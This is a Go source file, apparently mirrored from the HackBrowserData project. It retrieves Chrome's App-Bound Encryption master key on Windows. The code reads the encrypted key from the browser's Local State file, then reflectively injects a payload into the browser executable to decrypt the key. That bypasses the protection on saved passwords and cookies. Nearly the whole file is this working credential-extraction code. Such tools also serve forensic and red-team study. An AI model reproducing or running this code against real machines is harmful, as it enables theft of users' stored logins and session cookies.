mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-23 19:14:01 +02:00
e50c623db0
* fix(windows): retrieve correct ABE master key when browser is running
101 lines
2.6 KiB
Go
101 lines
2.6 KiB
Go
//go:build windows
|
|
|
|
package keyretriever
|
|
|
|
import (
|
|
"encoding/base64"
|
|
"errors"
|
|
"fmt"
|
|
"os"
|
|
"strings"
|
|
|
|
"github.com/tidwall/gjson"
|
|
|
|
"github.com/moond4rk/hackbrowserdata/crypto/windows/payload"
|
|
"github.com/moond4rk/hackbrowserdata/log"
|
|
"github.com/moond4rk/hackbrowserdata/utils/injector"
|
|
"github.com/moond4rk/hackbrowserdata/utils/winutil"
|
|
)
|
|
|
|
const envEncKeyB64 = "HBD_ABE_ENC_B64"
|
|
|
|
var appbPrefix = []byte{'A', 'P', 'P', 'B'}
|
|
|
|
var errNoABEKey = errors.New("abe: Local State has no app_bound_encrypted_key")
|
|
|
|
type ABERetriever struct{}
|
|
|
|
func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) {
|
|
// Non-ABE Chromium forks (Opera/Vivaldi/Yandex/...) call this with an empty storage key; pre-v20
|
|
// Chrome profiles have no app_bound_encrypted_key in Local State. Both are "ABE not applicable" —
|
|
// return (nil, nil) so ChainRetriever falls through to DPAPI silently instead of emitting a Warnf
|
|
// for every non-ABE browser.
|
|
browserKey := strings.TrimSpace(storage)
|
|
if browserKey == "" {
|
|
return nil, nil
|
|
}
|
|
|
|
encKey, err := loadEncryptedKey(localStatePath)
|
|
if errors.Is(err, errNoABEKey) {
|
|
return nil, nil
|
|
}
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
pl, err := payload.Get("amd64")
|
|
if err != nil {
|
|
return nil, fmt.Errorf("abe: %w", err)
|
|
}
|
|
|
|
exePath, err := winutil.ExecutablePath(browserKey)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("abe: %w", err)
|
|
}
|
|
|
|
env := map[string]string{
|
|
envEncKeyB64: base64.StdEncoding.EncodeToString(encKey),
|
|
}
|
|
|
|
inj := &injector.Reflective{}
|
|
key, err := inj.Inject(exePath, pl, env)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("abe: inject into %s: %w", exePath, err)
|
|
}
|
|
if len(key) != 32 {
|
|
return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key))
|
|
}
|
|
log.Infof("abe: retrieved %s master key via reflective injection", browserKey)
|
|
return key, nil
|
|
}
|
|
|
|
func loadEncryptedKey(localStatePath string) ([]byte, error) {
|
|
if localStatePath == "" {
|
|
return nil, errNoABEKey
|
|
}
|
|
data, err := os.ReadFile(localStatePath)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("abe: read Local State: %w", err)
|
|
}
|
|
|
|
raw := gjson.GetBytes(data, "os_crypt.app_bound_encrypted_key")
|
|
if !raw.Exists() {
|
|
return nil, errNoABEKey
|
|
}
|
|
|
|
decoded, err := base64.StdEncoding.DecodeString(raw.String())
|
|
if err != nil {
|
|
return nil, fmt.Errorf("abe: base64 decode: %w", err)
|
|
}
|
|
if len(decoded) <= len(appbPrefix) {
|
|
return nil, fmt.Errorf("abe: encrypted key too short: %d bytes", len(decoded))
|
|
}
|
|
for i, b := range appbPrefix {
|
|
if decoded[i] != b {
|
|
return nil, fmt.Errorf("abe: unexpected prefix: got %q, want %q",
|
|
decoded[:len(appbPrefix)], appbPrefix)
|
|
}
|
|
}
|
|
return decoded[len(appbPrefix):], nil
|
|
}
|